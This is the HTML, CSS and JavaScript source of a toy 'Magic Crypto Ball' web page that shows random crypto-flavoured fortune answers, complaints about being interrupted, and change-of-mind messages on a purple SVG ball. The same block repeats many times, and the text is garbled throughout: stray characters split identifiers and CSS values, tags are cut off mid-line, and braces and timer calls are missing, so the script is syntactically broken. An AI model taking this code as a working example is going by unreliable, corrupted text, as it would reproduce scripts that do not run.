			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
